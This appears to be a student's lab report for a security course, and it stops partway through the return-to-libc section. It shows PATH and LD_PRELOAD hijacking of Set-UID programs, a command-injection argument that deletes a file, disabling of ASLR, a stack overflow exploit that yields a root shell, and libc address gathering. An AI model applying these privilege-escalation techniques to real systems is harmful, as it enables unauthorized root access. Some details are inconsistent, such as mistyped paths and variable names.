

Contents

1	Introduction	2
2	Environment Variable and Set-UID Program	2
2.1	Manipulating environment variables	2
2.2	Environment variable and Set-UID Programs	2
2.3	The PATH Environment variable and Set-UID Programs	3
2.4	The LD.PRELOAD environment variable and Set-UID Programs	3
2.5	Invoking external programs using system() versus execve()	4
2.6	Capability Leaking	5
3	Buffer Overflow Vulnerability	5
3.1	Initial setup	5
3.2	Running Shellcode	6
3.3	The Vulnerable Program	7
3.4	Exploiting the Vulnerability	7
3.5	Defeating dash's Countermeasure	8
3.6	Defeating Address Randomization	9
3.7	Stack Guard Protection	10
3.8	Non-executable Stack Protection	10
4	Return-to-libc Attack	10
4.1	Initial Setup	10
4.2	The Vulnerable Program	11
4.3	Debugging a program	11
4.4	Putting the shell string in the memory	11
4.5	Exploiting the Vulnerability	12
4.6	Address Randomization	13
4.7	Stack Guard Protection	13
5	Format String Vulnerability	14
5.1	Crash the program	14

1 Introduction

This is the solvment for the CS5293 Assignment II. Each Task have a short statment for the result as well as the procedures or the screenshoot or code listing attached.

2 Environment Variable and Set-UID Program

2.1 Manipulating environment variables

For this question,

1. No output occurred when searching for `foo` initially, indicating the variable wasn't part of the environment.
2. After setting `foo` with a string value, it still didn't appear in the environment, as assignment alone doesn't export it.
3. Post `export foo`, the variable `foo` displayed with `printenv`, confirming its addition to the environment.
4. Following `unset foo`, the variable `foo` ceased to appear, signifying its removal from the environment, figured as 1b.

```
[03/01/24]seed@VM:~$  
[03/01/24]seed@VM:~$ echo $PWD  
/home/seed  
[03/01/24]seed@VM:~$  
[03/01/24]seed@VM:~$  
[03/01/24]seed@VM:~$  
[03/01/24]seed@VM:~$  
[03/01/24]seed@VM:~$ env | grep PWD  
PWD=/home/seed  
[03/01/24]seed@VM:~$
```

(a) printenv

```
[03/02/24]seed@VM:~/assignment2$  
[03/02/24]seed@VM:~/assignment2$ printenv | grep foo  
[03/02/24]seed@VM:~/assignment2$ foo='test string'  
[03/02/24]seed@VM:~/assignment2$ printenv | grep foo  
[03/02/24]seed@VM:~/assignment2$ export foo  
[03/02/24]seed@VM:~/assignment2$ printenv | grep foo  
foo=test string  
[03/02/24]seed@VM:~/assignment2$  
[03/02/24]seed@VM:~/assignment2$ unset foo  
[03/02/24]seed@VM:~/assignment2$ printenv | grep foo  
[03/02/24]seed@VM:~/assignment2$
```

(b) set and unset env

Figure 1: Execute Result

Conclusion:

Variables must be exported to appear in the environment. The 'unset' command effectively removes them. This demonstrates the lifecycle of environment variables in Bash.

2.2 Environment variable and Set-UID Programs

Initially, `foo` was unset and, as expected, didn't appear in the output of the Set-UID program. Upon setting `foo` with a value but without exporting, `foo` still did not show up. This is because the Set-UID program inherits only exported environment variables. After exporting `foo`, it was then visible in the output, indicating that the Set-UID program did inherit `foo` from the user's process as 2.

```
[03/02/24]seed@VM:~/assignment2$ unset foo^C  
[03/02/24]seed@VM:~/assignment2$ ./main | grep foo  
[03/02/24]seed@VM:~/assignment2$ foo='test string'  
[03/02/24]seed@VM:~/assignment2$ ./main | grep foo  
[03/02/24]seed@VM:~/assignment2$ export foo  
[03/02/24]seed@VM:~/assignment2$ ./main | grep foo  
foo=test string  
[03/02/24]seed@VM:~/assignment2$  
[03/02/24]seed@VM:~/assignment2$
```

Figure 2: Execute Result

Conclusion:

The Set-UID programs inherit exported environment variables from the user's process. This demonstrates how users can influence Set-UID program behavior through the environment, emphasizing the need for careful security practices around such programs.

2.3 The PATH Environment variable and Set-UID Programs

The manipulations with the PATH variable and the Set-UID ls program demonstrate how the system's behavior changed. Initially, the custom ls program, when executed, listed the contents of the current directory, similar to the standard /bin/lis command. After modifying the PATH variable to include the current directory at the beginning and changing the ownership and permissions of the ls program to mimic a Set-UID program, the ls command should have executed the malicious program. However, the output indicates that the custom ls program printed a message and the user IDs, which were both 1000, meaning it did not run with root privileges.

```
[03/02/24]seed@VM:~$ touch myls.c
[03/02/24]seed@VM:~$ vim myls.c
[03/02/24]seed@VM:~$ gcc -o ls myls.c
mysls.c: In function 'main':
mysls.c:4:1: warning: implicit declaration of function 'system' [-Wimplicit-function-declaration]
  system("ls");
  ^
[03/02/24]seed@VM:~$ ls
android      assignment2  Customization  Documents  examples.desktop  lib  Music  Pictures  source  Videos
assignment1  bin         Desktop        Downloads  get-pip.py        ls   myls.c  Public   Templates
[03/02/24]seed@VM:~$ ./ls
android      assignment2  Customization  Documents  examples.desktop  lib  Music  Pictures  source  Videos
assignment1  bin         Desktop        Downloads  get-pip.py        ls   myls.c  Public   Templates
[03/02/24]seed@VM:~$ export PATH=/home/seed:$PATH
[03/02/24]seed@VM:~$ ./ls
^C[03/02/24]seed@VM:~$ ls
^C[03/02/24]seed@VM:~$ sudo chown root ls
[03/02/24]seed@VM:~$ sudo chmod 4755 ls
[03/02/24]seed@VM:~$ ls
^C[03/02/24]seed@VM:~$ vim ls.c
[03/02/24]seed@VM:~$ gcc -o ls ls.c
ls.c: In function 'main':
ls.c:5:34: warning: implicit declaration of function 'getuid' [-Wimplicit-function-declaration]
  printf("\nMy real uid is: %d\n", getuid());
                                ^
ls.c:6:39: warning: implicit declaration of function 'geteuid' [-Wimplicit-function-declaration]
  printf("\nMy effective uid is: %d\n", geteuid());
                                ^
[03/02/24]seed@VM:~$ ls
This is my ls program
My real uid is: 1000
My effective uid is: 1000
[03/02/24]seed@VM:~$
```

Figure 3: Execute Result

```
[03/02/24]seed@VM:~$ sudo chown root ls
[03/02/24]seed@VM:~$ sudo chmod 4755 ls
[03/02/24]seed@VM:~$ export PATH=/home/seed:$PATH
[03/02/24]seed@VM:~$ ls
This is my ls program
My real uid is: 1000
My effective uid is: 0
[03/02/24]seed@VM:~$
```

Figure 4: Execute Result After Set-UID

Conclusion:

If the Set-UID program runs our code instead of the intended /bin/lis, the code will execute with root privileges because Set-UID programs run with the effective permissions of the file owner, which is root in this case. This demonstrates a significant security risk with using relative paths in Set-UID programs and highlights the importance of using absolute paths for system calls.

2.4 The LD_PRELOAD environment variable and Set-UID Programs

1. When myprog was a regular program, running it as a normal user resulted in the overridden sleep function being called, confirming that LD_PRELOAD influenced the linker to load libmylib.so.1.0.1

first.

2. After making myprog a Set-UID root program, running it as a normal user did not invoke the overridden sleep, indicating that the Set-UID program did not inherit the LD_PRELOAD variable from the user's environment, likely for security reasons.
3. Exporting LD_PRELOAD in the root account and then running the Set-UID root myprog resulted in the overridden sleep being called, suggesting that when the Set-UID program is run by root, it respects the LD_PRELOAD variable.
4. With myprog set as a Set-UID program owned by another user (user1) and LD_PRELOAD set in a non-root account, the overridden sleep was not called, similar to the second case, reinforcing the idea that Set-UID programs ignore LD_PRELOAD from non-owner environments.

```
[03/02/24]seed@VM:~/assignment2$ cat mylib.c
#include <stdio.h>
void sleep (int s)
{
/* If this is invoked by a privileged program,
you can do damages here! */
printf("I am not sleeping!\n");
}
[03/02/24]seed@VM:~/assignment2$ gcc -fPIC -g -c mylib.c
[03/02/24]seed@VM:~/assignment2$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[03/02/24]seed@VM:~/assignment2$ export LD_PRELOAD=./libmylib.so.1.0.1
[03/02/24]seed@VM:~/assignment2$ vim myprog.c
mylib.c  myprog.c
[03/02/24]seed@VM:~/assignment2$ vim myprog.c
[03/02/24]seed@VM:~/assignment2$ gcc -o myprog myprog.c
myprog.c: In function 'main':
myprog.c:4:1: warning: implicit declaration of function 'sleep' [-Wimplicit-function-declaration]
sleep(1);
^
[03/02/24]seed@VM:~/assignment2$ ./myprog
I am not sleeping!
[03/02/24]seed@VM:~/assignment2$ sudo chown root myprog
[03/02/24]seed@VM:~/assignment2$ sudo chmod 4755 myprog
[03/02/24]seed@VM:~/assignment2$ ./myprog
[03/02/24]seed@VM:~/assignment2$ sudo export LD_PRELOAD=./libmylib.so.1.0.1
sudo: export: command not found
[03/02/24]seed@VM:~/assignment2$ sudo -i
root@VM:~# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:~# ./myprog
-bash: ./myprog: No such file or directory
root@VM:~# cd /eh^C
root@VM:~# cd /home/seed/assignment2
root@VM:/home/seed/assignment2$ ./myprog
I am not sleeping!
root@VM:/home/seed/assignment2#
```

Figure 5: Execute Result

2.5 Invoking external programs using system() versus execve()

1.If Bob were to exploit the system() call with a command like “./25 /etc/passwd; rm -f /path/to/some/file”, as figured in 6a, the shell would execute the cat /etc/passwd command and then attempt the rm -f command, potentially allowing unauthorized file deletion if the syntax were correct and the shell executes the second command.

The use of system() in a Set-UID program poses a security risk due to its reliance on the shell, which can interpret additional commands and metacharacters. This risk is not present with execve() as it does not invoke a shell and executes the specified command directly. The observations suggest that the program is functioning with elevated privileges, but the specific access to /etc/shadow could not be confirmed from the provided output.

2.After recompiling and setting the program to use execve(), any attempts to use command chaining or injection as part of the input to the Set-UID program should fail, as figured in 6b, input such as filename; rm -f somefile would not cause the deletion of somefile because execve() would attempt to pass the entire string as a single argument to /bin/cat, which would then result in an error as it would be an invalid file name.


```

[03/02/24]seed@VM:~/assignment2$ sudo gcc -o 25 25.c
[03/02/24]seed@VM:~/assignment2$ sudo chown root 25
[03/02/24]seed@VM:~/assignment2$ sudo chmod 4755 25
[03/02/24]seed@VM:~/assignment2$
[03/02/24]seed@VM:~/assignment2$ echo "123" > testfile
[03/02/24]seed@VM:~/assignment2$ sudo chmod 444 testfile
[03/02/24]seed@VM:~/assignment2$ cat testfile
123
[03/02/24]seed@VM:~/assignment2$ ./25 "testfile;rm testfile"
rm: remove write-protected regular file 'testfile'? y
[03/02/24]seed@VM:~/assignment2$ cat testfile
cat: testfile: No such file or directory
[03/02/24]seed@VM:~/assignment2$

```

Set-UID Program
add a read-only file
remove it by the Set-UID program

(a) Step 1 Execute Result

```

[03/02/24]seed@VM:~/assignment2$ vim 25.c
[03/02/24]seed@VM:~/assignment2$ sudo gcc -o 25 25.c
25.c: In function 'main':
25.c:18:2: warning: implicit declaration of function 'execve' [-Wimplicit-function-declaration]
execve(v[0], v, NULL);
^
[03/02/24]seed@VM:~/assignment2$ sudo chown root 25
[03/02/24]seed@VM:~/assignment2$ sudo chmod 4755 25
[03/02/24]seed@VM:~/assignment2$
[03/02/24]seed@VM:~/assignment2$ echo "123" > testfile
[03/02/24]seed@VM:~/assignment2$ sudo chmod 444 testfile
[03/02/24]seed@VM:~/assignment2$ cat testfile
123
[03/02/24]seed@VM:~/assignment2$ ./25 "testfile;rm testfile"
/bin/cat: 'testfile;rm testfile': No such file or directory
[03/02/24]seed@VM:~/assignment2$
[03/02/24]seed@VM:~/assignment2$

```

Not Worked

(b) Step 2 Execute Result

Figure 6: Execute Result

2.6 Capability Leaking

The program ./26 successfully wrote "Malicious Data" to /etc/zzz. Initially unable to open /etc/zzz, after setting correct permissions and ownership, the Set-UID program, running with root privileges, opened /etc/zzz. Upon dropping privileges with `setuid(getuid())`, the child process inherited the file descriptor with root access, leading to the capability leak which allowed writing to the file, even as a non-privileged user. This demonstrates the security risk of inheriting file descriptors from privileged processes.

```

[03/02/24]seed@VM:~/assignment2$
[03/02/24]seed@VM:~/assignment2$ sudo chown root 26
[03/02/24]seed@VM:~/assignment2$ sudo chmod 4775 26
[03/02/24]seed@VM:~/assignment2$ ./26
Cannot open /etc/zzz
[03/02/24]seed@VM:~/assignment2$ sudo touch /etc/zzz
[03/02/24]seed@VM:~/assignment2$ sudo chown root /etc/zzz
[03/02/24]seed@VM:~/assignment2$ sudo chmod 0644 /etc/zzz
[03/02/24]seed@VM:~/assignment2$ ./26
[03/02/24]seed@VM:~/assignment2$ cat /etc/zzz
Malicious Data
[03/02/24]seed@VM:~/assignment2$

```

Figure 7: Execute Result

3 Buffer Overflow Vulnerability

3.1 Initial setup

- 1 # The provided steps for buffer overflow vulnerability exploitation:
- 2 # 1. Disable address space layout randomization (ASLR) which makes address guessing difficult:

```

3 sudo sysctl -w kernel.randomize_va_space=0
4 # 2. Compile programs without the StackGuard protection to allow buffer overflow
   attacks:
5 gcc -fno-stack-protector example.c
6 # 3. By default, Ubuntu stacks are non-executable. To ensure stack executability is
   not a factor, compile programs with non-executable stack protection:
7 gcc -z noexecstack -o test test.c
8 # 4. Change the '/bin/sh' symbolic link to point to a shell without Set-UID
   restrictions like 'zsh' (only for Ubuntu 16.04 as it has countermeasures in 'dash
   '):
9 sudo ln -sf /bin/zsh /bin/sh

```

Listing 1: CMD

Disabling ASLR makes buffer overflow attacks easier by making memory addresses predictable. ASLR randomizes locations of the stack, heap, and libraries, complicating an attacker's ability to correctly guess where to inject malicious code or overwrite a return address. Without ASLR, these addresses remain constant, so attackers can reliably target specific memory locations to execute their code, significantly increasing the chances of a successful attack.

```

[03/02/24]seed@VM:~/assignment2$ gcc -fno-stack-protector -o example main.c
[03/02/24]seed@VM:~/assignment2$ ./example
hello world
[03/02/24]seed@VM:~/assignment2$
[03/02/24]seed@VM:~/assignment2$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/02/24]seed@VM:~/assignment2$ gcc -fno-stack-protector -o example main.c
[03/02/24]seed@VM:~/assignment2$ ./example
hello world
[03/02/24]seed@VM:~/assignment2$ sudo ln -sf /bin/zsh /bin/sh
[03/02/24]seed@VM:~/assignment2$ █

```

Figure 8: Execute Result

3.2 Running Shellcode

As shown in Figure 9, the commands compile and run `shell.c`, which launches a shell. Initially, running `./shell` as the user `seed` opens a shell with user-level privileges. After setting the program's owner to root and adding the Set-UID bit, running `./shell` again opens a shell with root privileges, confirmed by the output of `whoami`. This demonstrates how a Set-UID root-owned program can elevate privileges, highlighting the potential for exploitation if such a program were vulnerable to a buffer overflow attack, allowing unauthorized execution of code with elevated rights.

```

[03/02/24]seed@VM:~/../task8$ vim shell.c
[03/02/24]seed@VM:~/../task8$ gcc -fno-stack-protector -o shell shell.c
shell.c: In function 'main':
shell.c:7:1: warning: implicit declaration of function 'execve' [-Wimplicit-function-declaration]
execve(name[0], name, NULL);
^
[03/02/24]seed@VM:~/../task8$ ./shell
$ whoami
seed
$ exit
[03/02/24]seed@VM:~/../task8$ sudo chown root shell
[03/02/24]seed@VM:~/../task8$ sudo chmod 4755 shell
[03/02/24]seed@VM:~/../task8$ ./shell
# whoami
root
#
# █

```

Figure 9: Execute Result

As shown in Figure 10, When compiled with executable stack permission `-z execstack` and run as a normal user, the program launches a shell with user-level privileges `seed`. After changing the ownership to root and setting the Set-UID bit `chmod 4755`, the same program now launches a shell with root privileges, as the effective UID of the process is escalated due to the Set-UID bit. This illustrates a potential security threat when executable code is present in the stack, especially in Set-UID programs.

```
# exit
[03/02/24]seed@VM:~/.../task8$ touch call_shellcode.c
[03/02/24]seed@VM:~/.../task8$ vim call_shellcode.c
[03/02/24]seed@VM:~/.../task8$ gcc -z execstack -o call_shellcode call_shellcode.c
[03/02/24]seed@VM:~/.../task8$ ./call_shellcode
$ whoami
seed
$ exit
[03/02/24]seed@VM:~/.../task8$ sudo chown root call_shellcode
[03/02/24]seed@VM:~/.../task8$ sudo chmod 4755 call_shellcode
[03/02/24]seed@VM:~/.../task8$ ./call_shellcode
# whoami
root
#
```

Figure 10: Execute Result

3.3 The Vulnerable Program

The program `stack.c` has a deliberate buffer overflow vulnerability. It reads data from a file named `badfile` into a buffer that can only hold `BUFSIZE` bytes (33 by default) using `strcpy()`, which does not check for buffer overflow. If `badfile` contains more data than `BUFSIZE`, it will overflow the buffer `buffer[BUFSIZE]` in `bof()` function and potentially overwrite adjacent memory, which might include the function's return address.

As shown in Figure 11, The segmentation faults when running `./stack` indicate that the program crashes due to a buffer overflow caused by incorrect or corrupted data in `badfile`. This is indicative of the vulnerability, and with the right `badfile` contents, an attacker could leverage this to execute arbitrary code with root privileges.

```
[03/02/24]seed@VM:~/.../task8$ gcc -DBUFSIZE=0 -o stack -z execstack -fno-stack-protector stack.c
[03/02/24]seed@VM:~/.../task8$ sudo chown root stack
[03/02/24]seed@VM:~/.../task8$ sudo chmod 4755 stack
[03/02/24]seed@VM:~/.../task8$ ./stack
Segmentation fault
[03/02/24]seed@VM:~/.../task8$ gcc -DBUFSIZE=400 -o stack -z execstack -fno-stack-protector stack.c
[03/02/24]seed@VM:~/.../task8$ sudo chmod 4755 stack
[03/02/24]seed@VM:~/.../task8$ sudo chown root stack
[03/02/24]seed@VM:~/.../task8$ sudo chmod 4755 stack
[03/02/24]seed@VM:~/.../task8$ ./stack
Segmentation fault
```

Figure 11: Execute Result

3.4 Exploiting the Vulnerability

First, GDB debug for the `stack`, find out the `bof` and `strcpy` addresses, figured as 12a and figured as 12b, respectively.

```
1 gdb stack
2 disas main
3 disas bof
```

Listing 2: GDB debug for the stack

```
0x0804856e <+100>: push    eax
0x0804856f <+101>: call   0x80484eb <bof>
0x08048574 <+106>: add    esp,0x10
0x08048577 <+109>: sub    esp,0xc
0x0804857a <+112>: push   0x804862a
0x0804857f <+117>: call   0x80483a0 <puts@plt>
0x08048584 <+122>: add    esp,0x10
0x08048587 <+125>: mov    eax,0x1
0x0804858c <+130>: mov    ecx,DWORD PTR [ebp-0x4]
0x0804858f <+133>: leave  [ecx-0x4]
0x08048590 <+134>: lea    esp,[ecx-0x4]
0x08048593 <+137>: ret
End of assembler dump.
gdb-peda$ disas bof
```

```
gdb-peda$ disas bof
Dump of assembler code for function bof:
0x080484eb <+0>: push    ebp
0x080484ec <+1>: mov     ebp,esp
0x080484ee <+3>: sub     esp,0x38
0x080484f1 <+6>: sub     esp,0x8
0x080484f4 <+9>: push    DWORD PTR [ebp+0x8]
0x080484f7 <+12>: lea     eax,[ebp-0x29]
0x080484fa <+15>: push    eax
0x080484fb <+16>: call    0x8048390 <strcpy@plt>
0x08048500 <+21>: add     esp,0x10
0x08048503 <+24>: mov     eax,0x1
0x08048508 <+29>: leave  [eax-0x4]
0x08048509 <+30>: ret
End of assembler dump.
gdb-peda$
```

(a) bof address
(b) strcpy address

Figure 12: GDB debug for the stack

then, edit the exploit.c as Codeblock 3 and run the GDB again figured as 13 for figuring out the memory length.

```
1 /* You need to fill the buffer with appropriate contents here */
2 strcpy(buffer, "AAAA");
```

Listing 3: GDB debug for the stack

```
Breakpoint 1, 0x08048503 in bof ()
gdb-peda$ x/150xb $esp
0xbffff0a0: 0x08 0xb0 0x04 0x08 0x17 0xf1 0xff 0xbf
0xbffff0a8: 0x05 0x02 0x00 0x00 0x00 0x10 0x00 0x41
0xbffff0b0: 0x41 0x41 0x41 0x00 0x00 0x00 0x00 0x00
0xbffff0b8: 0x00 0xa0 0xfb 0xb7 0x40 0xd9 0xff 0xb7
0xbffff0c0: 0x28 0xf3 0xff 0xbf 0x10 0xff 0xfe 0xb7
0xbffff0c8: 0x8b 0x68 0xe6 0xb7 0x00 0x00 0x00 0x00
0xbffff0d0: 0x00 0x00 0xfb 0xb7 0x00 0x00 0xfb 0xb7
0xbffff0d8: 0x28 0xf3 0xff 0xbf 0x74 0x85 0x04 0x08
0xbffff0e0: 0x17 0xf1 0xff 0xb7 0x01 0x00 0x00 0x00
0xbffff0e8: 0x05 0x02 0x00 0x00 0x08 0xb0 0x04 0x08
0xbffff0f0: 0xa0 0x93 0xe7 0xb7 0xc4 0xb4 0x00 0x00
0xbffff0f8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff100: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff108: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xbffff110: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x41
0xbffff118: 0x41 0x41 0x41 0x00 0x90 0x90 0x90 0x90
0xbffff120: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff128: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffff130: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
gdb-peda$
```

Figure 13: Execute Result

Obviously, we should fill out the buffer with 45 characters and add a *SHIFT* > 45 + 4 to the shellcode as Codeblock 4.

```
1 /* You need to fill the buffer with appropriate contents here */
2 strcpy(buffer, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
3 strcpy(buffer+50, shellcode);
```

Listing 4: fill the buffer

Finally, we compile and run the exploit and stack again, respectively. And we can launch the shell with root privilege, figured as 14.

```
[03/03/24]seed@VM:~/.../task8$ ./exploit
[03/03/24]seed@VM:~/.../task8$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(
# whoami
root
#
```

Figure 14: Execute Result

3.5 Defeating dash's Countermeasure

As shown in Figure 15, When `setuid(0);` is commented out, executing the program as a Set-UID will not grant root privileges because dash drops privileges if the real and effective UIDs differ. Unprivileged commands will confirm the user's identity, not root.

Uncommenting `setuid(0);`, the program elevates privileges by setting the real UID to zero before calling `execve()`, allowing a privileged shell as dash sees matching UIDs. Commands like 'whoami' will return root, confirming elevated access.

To bypass dash's countermeasure in shellcode, prepend the `setuid(0)` syscall, ensuring the effective UID is set to root before executing privileged operations.

Figure 16 shows the shellcode in exploit.c. This bypasses dash's countermeasure, allowing the Set-UID program to execute with root privileges.


```

[03/03/24]seed@VM:~/.../task8$ touch dash_shell_test.c
[03/03/24]seed@VM:~/.../task8$ vim dash_shell_test.c
[03/03/24]seed@VM:~/.../task8$ gcc dash_shell_test.c -o dash_shell_test
[03/03/24]seed@VM:~/.../task8$ sudo chown root dash_shell_test
[03/03/24]seed@VM:~/.../task8$ sudo chmod 4755 dash_shell_test
[03/03/24]seed@VM:~/.../task8$ ./dash_shell_test
$ which
seed
$ whoami
seed
$ exit
[03/03/24]seed@VM:~/.../task8$ vim dash_shell_test.c
[03/03/24]seed@VM:~/.../task8$ gcc dash_shell_test.c -o dash_shell_test
[03/03/24]seed@VM:~/.../task8$ sudo chown root dash_shell_test
[03/03/24]seed@VM:~/.../task8$ sudo chmod 4755 dash_shell_test
[03/03/24]seed@VM:~/.../task8$ ./dash_shell_test
# whoami
root
#

```

before uncomment setuid

afre uncomment setuid

Figure 15: Different Behavior

```

[03/03/24]seed@VM:~/.../task8$ vim exploit.c
[03/03/24]seed@VM:~/.../task8$ gcc -o exploit exploit.c
[03/03/24]seed@VM:~/.../task8$ ./exploit
[03/03/24]seed@VM:~/.../task8$ ./stack
# whoami
root
#
#

```

Figure 16: Using the above shellcode in exploit.c

3.6 Defeating Address Randomization

With ASLR enabled, the exploit may fail as memory addresses are randomized, making the hardcoded addresses unreliable. The exploit's success becomes unpredictable because the return address might not point to the intended shellcode location.

Running the exploit multiple times might eventually succeed because the randomized addresses could align with the shellcode by chance. A larger NOP sled may increase this likelihood, but success is not guaranteed and can take numerous attempts.

In my experiment, No shell was obtained. The segmentation fault after 1,333,478 attempts, figured as 17, indicates the exploit consistently hit invalid memory addresses due to Address Space Layout Randomization (ASLR). ASLR randomizes the location of the stack, heap, and libraries, making it challenging for the exploit to predict where to jump to execute the shellcode. The exploit relies on precise addresses; ASLR's randomization ensures that each execution of the vulnerable program maps the stack differently, preventing the exploit from knowing the correct address to use. Repeated attempts increase the likelihood but do not guarantee success, as demonstrated by the large number of failed tries.

```

The program has been running 163212 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163213 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163214 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163215 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163216 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163217 times so far.
Segmentation fault
0 minutes and 0 seconds elapsed.
The program has been running 163218 times so far.

```

Figure 17: Using the above shellcode in exploit.c

3.7 Stack Guard Protection

The program `stack` was recompiled without disabling Stack Guard as figured as 18. Upon the execution, a buffer overflow attempt was made, and Stack Guard detected the attack, triggering a error message as

*** stack smashing detected ***: `./stack` terminated and aborting the program. This error confirms that Stack Guard's canary mechanism effectively prevents buffer overflow by monitoring for stack corruption and stopping execution if tampering is detected. This defense significantly increases the difficulty of exploiting such vulnerabilities.

```
[03/03/24]seed@VM:~/.../task8$ gcc -o stack -z execstack stack.c
[03/03/24]seed@VM:~/.../task8$
[03/03/24]seed@VM:~/.../task8$ sudo chown root stack
[03/03/24]seed@VM:~/.../task8$ sudo chmod 4755 stack
[03/03/24]seed@VM:~/.../task8$ ./stack
*** stack smashing detected ***: ./stack terminated
Aborted
[03/03/24]seed@VM:~/.../task8$
```

Figure 18: Stack Guard Protection

3.8 Non-executable Stack Protection

No shell was obtained after recompiling the program with the non-executable stack option as figured as 19. The problem is that the stack has been configured to disallow code execution, so even if a buffer overflow occurs and attempts to run shellcode placed on the stack, the CPU will refuse to execute it, leading to a segmentation fault instead. While this protection scheme prevents execution of shellcode on the stack, it does not stop buffer overflows from occurring or other exploitation techniques like Return Oriented Programming (ROP) that can leverage executable code segments elsewhere. The segmentation fault indicates an attempt to execute code on a non-executable stack.

```
[03/03/24]seed@VM:~/.../task8$
[03/03/24]seed@VM:~/.../task8$ gcc -o stack -fno-stack-protector -z noexecstack stack.c
[03/03/24]seed@VM:~/.../task8$ sudo chown root stack
[03/03/24]seed@VM:~/.../task8$ sudo chmod 4755 stack
[03/03/24]seed@VM:~/.../task8$ ./stack
Segmentation fault
[03/03/24]seed@VM:~/.../task8$
```

Figure 19: Stack Guard Protection

4 Return-to-libc Attack

4.1 Initial Setup

The return-to-libc attack sidesteps non-executable stack protections by redirecting a program's execution flow to existing libc functions, circumventing the need for executable shellcode. For demonstration, address space randomization and StackGuard are disabled, while ensuring stacks remain non-executable.

```
[03/03/24]seed@VM:~/.../section4$
[03/03/24]seed@VM:~/.../section4$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[03/03/24]seed@VM:~/.../section4$ sudo ln -sf /bin/zsh /bin/sh
[03/03/24]seed@VM:~/.../section4$
```

Figure 20: Initial Setup

4.2 The Vulnerable Program

The `retlib.c` program contains a buffer overflow vulnerability due to reading more data into a buffer than it can hold. To exploit this for privilege escalation, compile it with no StackGuard and a non-executable stack. Ownership is changed to root and the Set-UID bit set to retain elevated privileges. By carefully crafting the input file `badfile`, it's possible to manipulate the control flow and execute privileged commands, despite the non-executable stack, illustrating the need for comprehensive security checks.

```
[03/03/24]seed@VM:~/.../section4$  
[03/03/24]seed@VM:~/.../section4$ gcc -DBUFSIZE=22 -o retlib -z noexecstack -fno-stack-protector retlib.c  
[03/03/24]seed@VM:~/.../section4$ sudo chown root retlib  
[03/03/24]seed@VM:~/.../section4$ sudo chmod 4755 retlib  
[03/03/24]seed@VM:~/.../section4$ ls -la | grep retlib  
-rw-rw-r-- 1 seed seed 2 Mar 3 09:21 peda-session-retlib_gdb.txt  
-rw-rw-r-- 1 seed seed 1 Mar 3 09:22 peda-session-retlib.txt  
-rwsr-xr-x 1 root seed 7516 Mar 3 09:28 retlib  
-rw-rw-r-- 1 seed seed 486 Mar 3 06:50 retlib.c  
-rwxrwxr-x 1 seed seed 9796 Mar 3 09:20 retlib_gdb  
[03/03/24]seed@VM:~/.../section4$
```

Figure 21: The Vulnerable Program

4.3 Debugging a program

The log shows the debugging process using `gdb` to extract the addresses of the `system()` and `exit()` functions from `libc`. This process is essential for constructing a return-to-libc attack. The address of `system()` was found to be `0xb7da4da0`, and the address of `exit()` was `0xb7d989d0`. These addresses were obtained from the Set-UID program `retlib`, ensuring they are correct for the attack. With these addresses, a crafted payload can be used to overflow the buffer and redirect execution to `system()`, thereby gaining unauthorized access or escalating privileges.

```
[03/03/24]seed@VM:~/.../section4$ gcc -DBUFSIZE=22 -g -o retlib_gdb -z noexecstack -fno-stack-protector retlib.c  
[03/03/24]seed@VM:~/.../section4$ gdb -q retlib_gdb  
Reading symbols from retlib_gdb...done.  
gdb-peda$ run  
Starting program: /home/seed/assignment2/section4/retlib_gdb  
[Thread debugging using libthread_db enabled]  
Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1".  
Returned Properly  
[Inferior 1 (process 12053) exited with code 01]  
Warning: not running or target is remote  
gdb-peda$ p system  
$1 = {<text variable, no debug info>} 0xb7da4da0 <__libc_system>  
gdb-peda$ p exit  
$2 = {<text variable, no debug info>} 0xb7d989d0 <__GI_exit>  
gdb-peda$ quit  
[03/03/24]seed@VM:~/.../section4$  
[03/03/24]seed@VM:~/.../section4$ gdb -q retlib  
Reading symbols from retlib...(no debugging symbols found)...done.  
gdb-peda$ run  
Starting program: /home/seed/assignment2/section4/retlib  
Returned Properly  
[Inferior 1 (process 12156) exited with code 01]  
Warning: not running or target is remote  
gdb-peda$ p system  
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>  
gdb-peda$ p exit  
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>  
gdb-peda$ quit  
[03/03/24]seed@VM:~/.../section4$
```

Figure 22: Debugging a program

4.4 Putting the shell string in the memory

To execute a return-to-libc attack, the command `/bin/sh` must be in memory with a known address. This is accomplished by setting an environment variable, `MYSHELL`, with the string `/bin/sh`. Use the `export` command to set `MYSHELL`, and `env` to verify it's part of the environment. A small C program can print the memory address of `MYSHELL`. When compiled and executed, the output is the address, which will be used as an argument to the `system()` function in the attack. Ensure the executable's name has the same length as `retlib` for consistent address allocation.

```
[03/03/24]seed@VM:~/.../section4$ export MYHELL=/bin/sh
[03/03/24]seed@VM:~/.../section4$ env | grep MYHELL
MYHELL=/bin/sh
[03/03/24]seed@VM:~/.../section4$ vim shelladdress.c
[03/03/24]seed@VM:~/.../section4$ mv shelladdress.c env555.c
[03/03/24]seed@VM:~/.../section4$ gcc -o env555 env555.c
[03/03/24]seed@VM:~/.../section4$ ./env555
bffffeeb
[03/03/24]seed@VM:~/.../section4$
```

Figure 23: Debugging a program

4.5 Exploiting the Vulnerability

